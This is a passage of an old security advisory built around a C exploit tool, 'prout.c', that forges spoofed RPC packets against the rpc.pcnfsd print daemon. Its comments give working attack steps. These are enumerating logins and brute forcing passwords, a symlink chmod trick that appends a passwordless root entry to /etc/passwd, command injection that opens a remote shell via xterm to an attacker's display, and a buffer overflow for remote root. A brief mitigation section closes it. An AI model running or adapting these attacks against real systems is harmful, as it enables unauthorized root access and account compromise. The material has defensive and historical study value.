       if ((nbytes=readfd(sock, (char *)ansrpc, 1024))<0)
	  return -1;

       if ( (ansrpc[2]!=htonl(0)) || (ansrpc[5]!=htonl(0)) ) {
	  fprintf(stderr, "RPC answer status : bad proc/version/auth\n");
	  close(sock);
	  return -1;
       }

       if (verbose) dump_packet((unsigned char*)ansrpc, nbytes);

       if (ntohl(ansrpc[6])!=0)
	  printf("pcnfsd version :\n%s\n", (char*)&ansrpc[7]);

       close(sock);
       return 0;
    }


    void usage(char *progname)
    {
       fprintf(stderr, "help : %s -h\n", progname);
       exit(0);
    }

    void option(char *progname)
    {
       fprintf(stderr, "%s :\n", progname);
       fprintf(stderr, "      -i   (infos about %s)\n", progname);
       fprintf(stderr, "      -s   (infos about system on which %s was tested)\n"
								     ,progname);
       fprintf(stderr, "      -v   verbose mode (dumps sent/received packets)\n");
       fprintf(stderr, "      -p   destip destport (retrieve printer list)\n");
       fprintf(stderr, "      -w   destip destport (retrieve pcnfs version)\n");
       fprintf(stderr, "      -a   destip destport user passwd\n");
       fprintf(stderr, "      -u   destip destport lower_uid upper_uid\n");
       fprintf(stderr, "      -fl  destip destport filename\n");
       fprintf(stderr, "      -fs  sourceip sourceport destip destport filename"
		       "           \n");
       fprintf(stderr, "      -c   sourceip sourceport destip destport username"
				 " printername command\n");
       fprintf(stderr, "      -o   sourceip sourceport destip destport\n");
       fprintf(stderr, "      -h   scroll up your term about 10 lines\n");
       exit(0);
    }

    main(int argc,char **argv)
    {
    int lenpacket, arg;
    int flag=0;
    unsigned char *packet;

       while ((arg=getopt(argc, argv, "pwauf:coishv")) !=EOF) {

	  switch(arg) {
	     case 'p':
		if ((argc-optind)!=2) option(argv[0]);
		lenpacket=LEN_HDR_RPC+LEN_AUTH_UNIX;
		flag=1;
		break;
	     case 'w':
		if ((argc-optind)!=2) option(argv[0]);
		lenpacket=LEN_HDR_RPC+LEN_AUTH_UNIX+LEN_HDR_PCN_INFO;
		flag=2;
		break;
	     case 'a':
		if ((argc-optind)!=4) option(argv[0]);
		lenpacket=LEN_HDR_RPC+LEN_AUTH_UNIX+LEN_HDR_PCN_AUTH;
		flag=3;
		break;
	     case 'u':
		if ((argc-optind)!=4) option(argv[0]);
		lenpacket=LEN_HDR_RPC+LEN_AUTH_UNIX+LEN_HDR_PCN_MAPID;
		flag=4;
		break;
	     case 'f':
		switch((char)*(optarg)) {
		    case 'l':
		       if ((argc-optind)!=3) option(argv[0]);
		       lenpacket=LEN_HDR_RPC+LEN_AUTH_UNIX+LEN_HDR_PCN_INIT;
		       flag=5;
		       break;

		    case 's':
		       if ((argc-optind)!=5) option(argv[0]);
		       lenpacket=LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC+LEN_AUTH_UNIX+
				 LEN_HDR_PCN_INIT;
		       flag=6;
		       break;

		    default:
		       option(argv[0]);
		       break;                               // NOTREACHED
		}
		break;
	     case 'c':
		if ((argc-optind)!=7) option(argv[0]);
		lenpacket=LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC+LEN_AUTH_UNIX+
			  LEN_HDR_PCN_CANCEL;
		flag=7;
		break;
	     case 'o':
		if ((argc-optind)!=4) option(argv[0]);
		lenpacket=LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC+LEN_AUTH_UNIX+
			  LEN_HDR_PCN_CANCEL;
		flag=8;
		break;
	     case 'i':
		fprintf(stderr, "prout.c : exploits pcnfsd hole(s) - ");
		fprintf(stderr, "coded by 'ga' <duncan@mygale.org>\n");
		exit(0);
	     case 's':
		fprintf(stderr, "Linux Mithrandir 2.0.0 i486 (dx2-66 8mb) - ");
		fprintf(stderr, "gcc version 2.7.2\n");
		exit(0);
	     case 'v':
		verbose++;
		break;
	     case 'h':
		option(argv[0]);
	     default:
		usage(argv[0]);
		break;                              // NOTREACHED
	  }
       }

       if (!flag) usage(argv[0]);

       if ( (flag>5) && (getuid()!=0) && (geteuid()!=0) ) {
	  fprintf(stderr, "I am not god.. I cannot create a raw packet without "
			  "(e)uid 0\n");
	  exit(1);
       }

       if (!(packet=malloc(lenpacket))) {
	  fprintf(stderr, "malloc() failed\n");
	  exit(1);
	  }
       memset(packet, 0, lenpacket);

       switch(flag) {
	  case 1:
	     if (make_pcnfsd_PRLIST(packet, lenpacket,
				    resolve_host_name(argv[optind]),
				    strtol(argv[optind+1], (char **)NULL, 0))<0)
		fprintf(stderr, "error (PRLIST packet)\n");
	     break;

	  case 2:
	     if (make_pcnfsd_PRINFO(packet, lenpacket,
				    resolve_host_name(argv[optind]),
				    strtol(argv[optind+1], (char **)NULL, 0))<0)
		fprintf(stderr, "error (PRINFO packet)\n");
	     break;

	  case 3:
	     if (make_pcnfsd_PRAUTH(packet, lenpacket,
				    resolve_host_name(argv[optind]),
				    strtol(argv[optind+1], (char **)NULL, 0),
				    argv[optind+2], argv[optind+3])<0)
		fprintf(stderr, "error (PRAUTH packet)\n");
	      break;

	  case 4:
	     if (strtol(argv[optind+2], (char **)NULL, 0) >
		 strtol(argv[optind+3], (char **)NULL, 0)) {
		fprintf(stderr, "lo_uid MUST be inferior to up_uid...\n");
		free(packet);
		exit(0);
	     }

	     if (make_pcnfsd_PRMAPID(packet, lenpacket,
				     resolve_host_name(argv[optind]),
				     strtol(argv[optind+1], (char **)NULL, 0),
				     strtol(argv[optind+2], (char **)NULL, 0),
				     strtol(argv[optind+3], (char **)NULL, 0))<0)
		fprintf(stderr, "error (PRMAPID packet)\n");
	      break;

	  case 5:
	     if (make_pcnfsd_local_PRINIT(packet, lenpacket,
					 resolve_host_name(argv[optind]),
					 strtol(argv[optind+1], (char **)NULL, 0),
					 argv[optind+2])<0)
	     fprintf(stderr,"error (local PRINIT packet)\n");
	     break;

	  case 6:
	     if (make_pcnfsd_spoof_PRINIT(packet, lenpacket,
					 resolve_host_name(argv[optind]),
					 strtol(argv[optind+1], (char **)NULL, 0),
					 resolve_host_name(argv[optind+2]),
					 strtol(argv[optind+3], (char **)NULL, 0),
					 argv[optind+4])<0)
	     fprintf(stderr,"error (forged PRINIT packet)\n");
	     break;

	  case 7:
	     if (make_pcnfsd_PRCANCEL(packet, lenpacket,
				      resolve_host_name(argv[optind]),
				      strtol(argv[optind+1], (char **)NULL, 0),
				      resolve_host_name(argv[optind+2]),
				      strtol(argv[optind+3], (char **)NULL, 0),
				      argv[optind+4],
				      argv[optind+5],
				      argv[optind+6])<0)
	     fprintf(stderr,"error (forged PRCANCEL packet)\n");
	     break;


	  case 8:
	     if (make_pcnfsd_PROVERFLOW(packet, lenpacket,
					resolve_host_name(argv[optind]),
					strtol(argv[optind+1], (char **)NULL,0),
					resolve_host_name(argv[optind+2]),
					strtol(argv[optind+3], (char **)NULL,0))<0)
	     fprintf(stderr,"error (forged PRCANCEL buffer overrun packet)\n");
	     break;

       }
       free(packet);
    }


    /*

    This program is for educational purpose _only_. It is provided "as
    is" and without any warranty.

    todo: - test it over inet..
          - test it  with another pcnfs  daemon other than  rpc.pcnfsd
            (slackware 3.5)
          - add the udp pseudo header checksum code
          - remove insane code
          - implement it so it would work partially with pcnfs (v.1)

    I agree that lot of the code is redundant but I wanted to  develop
    a simple and clear program so that it is more easier to understand
    the forging of ip/rpc packets. Anyway, I also agree that I am  not
    a good c coder so don't blame me...

    Here are  the different  weaknesses of  the rpc.pcnfsd(v2)  daemon
    (security holes are OS dependant) :

    [tested with : @(#)pcnfsd_v2.c 1.6 - rpc.pcnfsd V2.0 (c) 1991 ]
    [               Sun Technology Enterprises, Inc.              ]

    weaknesses (part of the implementation) :
    -----------------------------------------
    1) a list of available printers on the system can be retrieved.  A
       valid  printer  name  can  then  be  used  with other pcnfs rpc
       commands.

       ex : prout -p 1.1.1.1 755
       (rpc.pcnfsd running on server 1.1.1.1, port 755)

       Usually, "lp" is almost always a valid printer (not an alias one).

    2) it's possible to retrieve  the version of the pcnfs  daemon. It
       could be useful  for the attacker  who would like  to determine
       the return address for a buffer overflow.

       ex : prout -w 1.1.1.1 755
       (rpc.pcnfsd running on server 1.1.1.1, port 755)

       This may not be implemented in all pcnfs daemons.

    3) A valid login/passwd can be checked.

       ex : prout -a 1.1.1.1 755 joe eoj
       (check user "joe", passwd "eoj" with rpc.pcnfsd running on 1.1.1.1, port 755)

       prout -a 1.1.1.1 755 guest ""
       (check if login guest is unpassworded)

       Only  the  bandwith  of  the  connection  limits  the number of
       attempts  per  minute..  failure   attempts  are  not   logged,
       successful   attempts   are   logged   in   wtmp.   Trying   to
       authentificate  uid  0(root)  is  automatically rejected by the
       pcnfs daemon.

    4) Given an  uid, the pcnfs  daemon returns the  name of the  user
       (login)  associated  with  this  uid.  As  a  consequence, it's
       possible to retrieves  all the logins  on the remote  system by
       scanning a broad range of uids.

       ex :  prout -u 1.1.1.1 755 0 1000
       (ask to resolve login name from uid 0 up to 1000)

    Therefore, the bash command below retrieves all user names on  the
    server (uid 0  to 1000) and  then it checks  if the passwd  is the
    same as the login:

        for login in `prout -u 1.1.1.1 755 0 1000 | cut -f4 -d" "`;\
        do prout -a 1.1.1.1 755 $login $login ; done

        (failures are redirected to stderr and success to stdout)


    security holes (depends on the pcnfs program) :
    -----------------------------------------------

    1) A _local_ user can chmod(777) any files in the pcnfs  directory
       (including  "."  file  ...).  Then,  using  a  symlink,  he can
       chmod(777) any files on the system.

       ex :
     Mithrandir:/$ id
     uid=501(ga) gid=100(users) groups=100(users)
     Mithrandir:/$ rpcinfo -p | grep pcnfsd
	150001    1   udp    755  pcnfsd
	150001    2   udp    755  pcnfsd
	150001    1   tcp    758  pcnfsd
	150001    2   tcp    758  pcnfsd
     Mithrandir:/$ ls -al /var/spool/ |grep pcnfs
     drwxr-xr-x   2 root     root         1024 Oct 4 20:00 pcnfs
     Mithrandir:/$ prout -fl localhost 755 .
     Mithrandir:/$ ls -al /var/spool/ |grep pcnfs
     drwxrwxrwx   2 root     root         1024 Oct 4 20:00 pcnfs
     Mithrandir:/$ ln -s /etc/passwd /var/spool/pcnfs/blah
     Mithrandir:/$ prout -fl localhost 755 blah
     Mithrandir:/$ echo prout::0:0::/:/bin/sh >> /etc/passwd
     Mithrandir:/$ su prout
     Mithrandir:/# id
     uid=0(root) gid=0(root) groups=0(root)

       The "-fs" option  is the same  as the "-fl"  option except that
       it  spoofes  the  source  address  and  the source port (always
       choose a port < 1024).

       Latest patch of pcnfs daemon (Slackware) will fix this  chmod()
       problem.

    2) pr_cancel()  runs a  shell command  in background  to cancel  a
       printer job.   However, it  doesn't check  for all  the  escape
       shell characters.. Then, a  special command surrounded by  '\n'
       characters will be executed on the remote system.

       ex : prout -c 127.0.0.1 911 1.1.1.1 755 nobody lp "ping 1.1.1.1"
       (it sends  a spoofed  packet to  pcnfs daemon  on host 1.1.1.1,
       port 755.  The "ping  1.1.1.1" will  be executed  with nobody's
       rights).

       User name must exist  on the  remote system  (its uid must >101
       and <60002 otherwise the  packet will  be rejected)  and the
       printer  must be  a  valid  printer.  Moreover,  the command to
       execute must _NOT_ contain any characters like:

        ";|&<>`'#!?*()[]^/"

       so it means  that it's not  possible (well..in fact,  it is) to
       execute a command which is not in the PATH of the pcnfs daemon.
       Finally, rpc.pcnfsd  will kill  its child  process if  this one
       doesn't exit() before 10 seconds.  In this case, "ping 1.1.1.1"
       works only for 10 seconds.

       On slackware,  rpc.pcnfsd is  launched from  rc.inet2 file from
       the   directory   "/".   The   PATH   variable   is   set    to
       "/sbin:/usr/sbin:/bin:/usr/bin".  As  the  $  character   isn't
       checked  by  suspicious()  then  we  can  fool  the  rpc.pcnfsd
       restriction by  using a  shell variable  that contains  the "/"
       character.  On bash, during the boot process, PWD is set to "/"
       (CWD for tcsh) as well  as HOME variable.  Therefore,  we trick
       the pcnfs daemon  by using the  $HOME variable instead  of "/".
       Moreover, we know that the  child process will be killed  after
       10 seconds, then in order to avoid this problem, we can try  to
       execute an xterm which executes another xterm.

       The new bash command line would be like:

   prout -c 127.0.0.1 911 1.1.1.1 755 nobody lp \
   '"$PWD"usr"$PWD"X11"$PWD"bin"$PWD"xterm -ut -display 9.9.9.9:0.0 \
   -e "$PWD"usr"$PWD"X11"$PWD"bin"$PWD"xterm -ut -display 9.9.9.9:0.0 \
   -e "$PWD"bin"$PWD"csh -i'

       The shell ran by pcnfs daemon will expand it as :

   /usr/X11/bin/xterm -ut -display 9.9.9.9:0.0 -e /usr/X11/bin/xterm\
   	       -ut -display 9.9.9.9:0.0 -e /bin/csh -i

       Thus, if  host 9.9.9.9  is 'xhost  +' then  it will receive one
       empty  xterm  (first  xterm  that  executes the second one) and
       another  xterm  with  uid  "nobody".   The  first xterm will be
       killed after 10  seconds..  Of  course, this can't  work if the
       first xterm can't reach 9.9.9.9 within 10 seconds.

       bugs : - sometimes,  rpc.pcnfsd core  dumps after  killing  its
                child process.
              - xterm runs with uid "nobody" but with gid "root,  bin,
                adm, etc.." It shouldn't because this can definitively
                be used for a root compromise.

       Latest  patch  of  pcnfs  daemon  (Slackware)  will  fix   this
       _suspicious_ problem.

    3) Finally, there is a  buffer overrun in pr_cancel() function.  I
       didn't check all the pcnfs code but other buffer overflows  may
       exist.

       Actually, in pcsnfsd_print.c ( in pr_cancel() ) :

        char            cmdbuf[256];
        sprintf(cmdbuf, "/usr/bin/lprm -P%s %s", pr, id)

       "pr" may be 256 characters  long and "id" may be  64 characters
       long.

       Thus, using a special asm code that doesn't contain any  escape
       shell     characters     checked     by     supicious()    (eg:
       ";|&<>`'#!?*()[]^/"),  it's  possible  to  execute  a remote
       command as root.

        ex : prout -o 127.0.0.1 911 1.1.1.1 755

       (sends  the  pr_cancel  overflow  packet  with  a  spoofed   ip
       127.0.0.1 / port 911 to pcnfs listening on server 1.1.1.1, port
       udp 755)

       It's important to  use a spoofed  source port inferior  to 1024
       because some rpc requests  made from an unpriviledged  port are
       automatically discarded (actually, using the callit()  function
       of the portmapper).

    Latest patch of pcnfsd should fix this buffer overflow soon.

    */

SOLUTION

    - use patched pcnfs but a remote user can still try to brute force
      an account (because he may retrieve all the logins and check for
      valid login/passwd without being logged).
    - use patched pcnfs  with the secure rpc  lib that uses a  control
      access list  (like tcp  wrapper) for  ALL the  rpc programs (not
      only portmapper) so that only allowed hosts are able to  connect
      to pcnfs daemon.
    - remove  pcnfs on  your server  and consequently  disallow remote
      printing access for your users (is it that bad ?...).